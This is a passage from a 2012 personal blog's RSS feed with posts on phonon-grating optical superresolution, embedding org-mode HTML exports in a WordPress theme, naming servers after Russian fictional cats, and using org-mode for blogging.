		<description><![CDATA[Using phonon scattering and temporal degreees of freedom for superresolution at the nanoscale (This means "we can see very small things if we shake them just right".) Have you ever wondered why we can't see viruses under a microscope? The answer to this question is the diffraction limit. But what is the diffraction limit, exactly? [...]]]></description>
			<content:encoded><![CDATA[<div id="outline-container-1" class="outline-2">
<h2 id="sec-1">Using phonon scattering and temporal degreees of freedom for superresolution at the nanoscale</h2>
<div class="outline-text-2" id="text-1">
<p> (This means "we can see very small things if we shake them just right".) </p>
<p> Have you ever wondered why we can't see viruses under a microscope?  The answer to this question is the diffraction limit.  But what is the diffraction limit, exactly?  In signals processing terms, it is the spatial frequency bandwidth for propagating optical waves.  Using optical microscopes to look at a 130 nm flu virus is akin to trying to pick out the sounds of piccolos in a Strauss concerto, over a very bad cell phone connection.  You can probably discern the piccolos if you are right in the concert hall, but the task is hopeless for someone on the other end of the line.  Likewise, in optics, you can see arbitrarily small things &ndash; provided you are close enough to them so that you can pick up the signal from "the piccolos" (in physics, we call them <i>evanescent waves</i>).  That is to say, your detector must be placed in the "near field", which is the area less than a micron from the object. </p>
<p> This, unfortunately, is not always practical or easy to do.  But over the years researchers have come up with various tricks to get around the bandwidth problem. One conceptual approach is to take the high frequency information, encode it using low-frequency data, transmit it to the far-field detector, and decode it there.  This idea has been around for several decades, but the encoding/decoding step is nontrivial to accomplish, and so this scheme hasn't seen adoption in applications. </p>
<p> Recently, we came up with an unusual new way to perform the high spatial frequency encoding, which may turn this around.  In order to lower the spatial frequency of the light wave for transmission, it is necessary to scatter its evanescent components on some periodic subwavelength structure.  We showed that this is possible to do with a dynamic phonon grating, validating <a href="http://eng.jhu.edu/wse/magazine-spring-11/item/the-light-manipulator/">Jacob Khurgin's</a> original idea. </p>
<p> The phonon grating creates a periodic potential that converts evanescent waves to propagating optical signals.  Because it's a dynamic structure, there is much flexibility in encoding and processing the signal.  Most intriguingly, phonon scattering is associated with the temporal frequency (i.e. energy) shift of the incident photons.  Because of this, it is possible to uniquely detect the scattered signal in the far field using coherent detection, greatly simplifying the decoding step. </p>
<p> <a href="http://www.opticsinfobase.org/abstract.cfm?URI=oe-19-22-22350">This paper</a> was a long time in the making, and it is <a href="http://www.nature.com/nphoton/journal/v6/n1/full/nphoton.2011.343.html">finally getting some attention</a>, perhaps due to the fact that nano-opto-mechanics with phonons is becoming a popular research area.  It's about time the lattice vibration quasiparticles got some good publicity, they certainly deserve it! </p>
<p> A related project, in which we model a system where the scattering is performed by a chirped anisotropic nanostructure (but ultra-high frequency vibrations are still used to aid coherent detection) also got published very recently. In fact, it is <a href="http://link.aip.org/link/doi/10.1063/1.3673470">the first article in the first 2012 issue of APL</a> (<a href="http://www.mendeley.com/download/public/17230/4607279695/0ca8bc4e5dca5ad30039f7050e682420ce832823/dl.pdf">mendeley link</a>).  I am currently taking the corresponding issue/article designation of {100,011101} as a divine sign that I should do more programming projects.  (I believe that in the coming few months the Almighty will be pleased on that angle.) </p>
</div></div>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/01/shake-that-grating/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Integrating org-mode HTML export with a WordPress theme</title>
		<link>http://dnquark.com/blog/2012/01/integrating-org-mode-html-export-with-a-wordpress-theme/</link>
		<comments>http://dnquark.com/blog/2012/01/integrating-org-mode-html-export-with-a-wordpress-theme/#comments</comments>
		<pubDate>Sat, 21 Jan 2012 06:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[emacs]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=154</guid>
		<description><![CDATA[Org-mode exporting capabilities are excellent, but making a freshly-exported HTML project look good with your WordPress theme might seem non-trivial. As a scientist / analyst / statistician you are way overqualified to be dealing with the minutiae of PHP and CSS, and so you might have resigned yourself to less-than-stellar formatting. Luckily, the recipe for [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://orgmode.org/manual/Exporting.html#Exporting">Org-mode exporting capabilities</a> are excellent, but making a freshly-exported HTML project look good with your WordPress theme might seem non-trivial.  As a scientist / analyst / statistician you are way overqualified to be dealing with the minutiae of PHP and CSS, and so you might have resigned yourself to less-than-stellar formatting.   </p>
<p> Luckily, the recipe for converting an org-exported HTML file into somethign that looks like an integral part of your blog turns out to take 4 easy steps. Let's assume that I'm in the <code>www/org/project/</code> directory, and the WordPress blog is in <code>www/blog/</code> directory. </p>
<ol>
<li>Make a new file, e.g. <code>project.php</code>, and start it with    </p>
<pre class="brush: php; light: true; title: ; notranslate">
&lt;?php
define('WP_USE_THEMES', false);
require('../../blog/wp-blog-header.php');
get_header();
?&gt;</pre>
</li>
<li>Paste in the contents of the &lt;style&gt; and &lt;script&gt; tags from the                                                                    org-exported HTML header                                                                                                        </li>
<li>Paste in the contents of the org-exported &lt;body&gt;                                                                                </li>
<li>Paste <code>&lt;?php get_footer(); ?&gt;</code> at the end of the file. </li>
</ol>
<p> You are done! You are free to mess with minor details (centering of the title, location of the org-exported postamble &ndash; sometimes it makes sense to move it into the contents div), but you've achieved the main goal: your spectacular analysis looks awesome.  <a href="http://dnquark.com/org/facemash/facemash.php">Here's an example of the above procedure in action!</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/01/integrating-org-mode-html-export-with-a-wordpress-theme/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Of Russian cats and server names</title>
		<link>http://dnquark.com/blog/2012/01/of-russian-cats-and-server-names/</link>
		<comments>http://dnquark.com/blog/2012/01/of-russian-cats-and-server-names/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 06:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/2012/01/feline-server-names/</guid>
		<description><![CDATA[I name my computers after cats. Not all of them, mind you, and I pick the names carefully. My workhorse servers are Begemot and Matroskin. Today, as I was doing some admin work, I started wondering what I would do if I had to name more machines, given that I'd rather not borrow names from [...]]]></description>
			<content:encoded><![CDATA[<p>I name my computers after cats.  Not all of them, mind you, and I pick the names carefully.  My workhorse servers are <a href="http://en.wikipedia.org/wiki/The_Master_and_Margarita">Begemot</a> and <a href="http://en.wikipedia.org/wiki/Three_from_Buttermilk_Village">Matroskin</a>.  Today, as I was doing some admin work, I started wondering what I would do if I had to name more machines, given that I'd rather not borrow names from T. S. Eliot. </p>
<p> No other fictional Russian feline can match Begemot or Matroskin in their charisma and/or raw satanic power, but for both of them I found a counterpart of sorts: Vasilii from <a href="http://en.wikipedia.org/wiki/Monday_Begins_on_Saturday">Monday Begins on Saturday</a> (another talking cat), and <a href="http://en.wikipedia.org/wiki/Leopold_the_Cat">Leopold</a>, another cartoon character. </p>
<p> In the process of looking for fictional Russian cats, I stumbled upon a series of Sergei Alimov's magnificent sketches for a never-produced animation feature based on <i>Master and Margarita</i>.  This is, in fact, why I'm writing the post. </p>
<p> <img src="http://dnquark.com/blog/wp-content/uploads/2012/01/wpid-mm_sketch1.jpg"  alt="http://dnquark.com/blog/wp-content/uploads/2012/01/wpid-mm_sketch1.jpg" /> </p>
<p> I am very taken with this simple charcoal rendition of Satan and his cat, black silhouettes overlooking the busy landscape of 1930's Moscow, wondering about the inner world of humans inhabiting the gray communal apartments.   </p>
<p> <a href="http://blog.imhonet.ru/author/nick1957/post/989996/">The rest of the sketches</a> are almost equally great, and convey very well the spirit of the book: at times philosophical, at times irreverent, and always just plain hilarious. </p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/01/of-russian-cats-and-server-names/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Org-mode as a blogging platform</title>
		<link>http://dnquark.com/blog/2012/01/org-mode-as-a-blogging-platform/</link>
		<comments>http://dnquark.com/blog/2012/01/org-mode-as-a-blogging-platform/#comments</comments>
		<pubDate>Thu, 12 Jan 2012 06:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[emacs]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/2012/01/org-mode-as-a-blogging-platform/</guid>
		<description><![CDATA[I first noticed that technology tends to come full circle the first time I saw a CD. It was hard to miss the cyclical progression from my parents' reel-to-reel magnetic tape recorder to LPs with fairy tales about Br'er Rabbit back to (comparatively) miniature tape cassettes with '90s Soviet pop and Madonna and, finally, to [...]]]></description>
			<content:encoded><![CDATA[<p>I first noticed that technology tends to come full circle the first time I saw a CD.  It was hard to miss the cyclical progression from my parents' reel-to-reel magnetic tape recorder to LPs with fairy tales about Br'er Rabbit back to (comparatively) miniature tape cassettes with '90s Soviet pop and Madonna and, finally, to a shiny disk which was just like an LP (except completely different).</p>
<p>The last time I mused about technology coming full circle was when I recently noticed the surging popularity of org-mode, which is essentially an add-on to a 30-year old text editing platform.</p>
<p>There are several reasons that Emacs/org-mode combination has such a wide appeal. Key among them is the fact that it provides a unified environment for notes, record-keeping, project-planning.  The  underlying format (plain text) guarantees ultimate portability, native presentation layer (in Emacs) is very simple yet very powerful, and HTML/LaTeX export functionality allows to share one's work easily.</p>
<p>Case in point: this post is being written in Emacs using the <a href="https://github.com/punchagan/org2blog">org2blog interface</a> to WordPress.  As of late, the amount of text in my *.org files and the amount of text on my blog have been, to put it mildly, incommensurate. Hopefully org/wordpress integration will help restore the balance to a more sensible level.</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/01/org-mode-as-a-blogging-platform/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
